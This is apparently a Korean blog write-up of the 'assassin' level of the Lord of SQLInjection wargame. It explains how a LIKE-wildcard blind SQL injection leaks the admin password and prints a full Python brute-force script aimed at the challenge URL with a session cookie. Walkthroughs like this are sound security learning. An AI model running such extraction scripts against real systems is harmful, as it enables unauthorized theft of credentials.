이번 문제를 처음 딱 봤을 때 "엥.. 필터링 되는게 왜 하나밖에 없지?"라는 생각을 하게 되었다.
적어도 가장 중요한 single quote(')가 막힌걸 보기 전까지는...
이제 사용할 수 있는 구문은 mysql 구문중 like와 %를 사용하는 구문 뿐이었다.
그렇게 문자열과 알파벳의 뒤에 %25(URL Decode : %)를 붙여 pw값으로 계속 전달하다보니 9에서 위와 같이 Hello guest가 나왔다.
이로 guest 계정의 비밀번호는 9로 시작된다는 것을 알 수 있게 되었다.
이렇게 계속 하면 Hello admin도 볼 수 있을 것 같았다.
하지만... admin 계정과 guest 계정 모두 9로 시작했던지라 그 어떤 값을 입력해도 Hello admin을 볼 수 없었다.
그렇게 계속 진행했으나, 두 번째 자리도 0으로 일치했다.
그래서 그냥 코드를 짜서 돌리기로 했다...
코드는 다음과 같다.
더보기
import requests
import sys
URL = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
Sess = {'PHPSESSID': '71139kumcbu7ojqk8b828uota8'}
ConfirmKey = "Hello admin"
FilterKey = "Hello guest"
Dict = '0123456789qwertyuiopasdfghjklzxcvbnm'
length = 8
password = "90"
Colors = ["\033[37m", "\033[32m", "\033[31m"]
def sendReq(payload):
return requests.get(URL, cookies=Sess, params=payload)
print("[*] Started")
print("[*] Using fixed password length : " + str(length))
print("[*] Looking for password")
while True:
for Current in Dict:
ReqResult = sendReq({"pw": str(password + Current + "%")}).text
if ConfirmKey in ReqResult:
password+= Current
print(Colors[1] + "[+] Found password of state " + str(len(password)) + " : " + str(Current))
print("[" + str(len(password)) + "/" + str(length) + "] Current State : " + password + Colors[0])
if len(password) == length:
break
else:
print(Colors[2] + "[-] Tried : " + str(Current) + Colors[0])
if len(password) == length:
break
else:
print(Colors[1] + "[*] One loop done [" + str(len(password)) + " , " + password + "]" + Colors[0])
print(Colors[1] + "\n[*] Job Done!\n[LENGTH] " + str(length) + "\n[PASSWORD] " + str(password) + Colors[0])
위 코드의 동작 결과를 통해 비밀번호를 확인할 수 있었다.
위 비밀번호를 pw값으로 보내주니 풀렸다.
'보안공부 > Lord of SQLInjection 풀이' 카테고리의 다른 글
Lord of SQLInjection BUGBEAR 풀이 (0) | 2024.10.15 |
---|---|
Lord of SQLInjection Giant 풀이 (0) | 2024.10.15 |
Lord of SQLInjection Succubus 풀이 (0) | 2024.10.13 |
Lord of SQLInjection Cobolt 풀이 (0) | 2019.10.24 |
Lord of SQLInjection Gremlin 풀이 (0) | 2019.10.23 |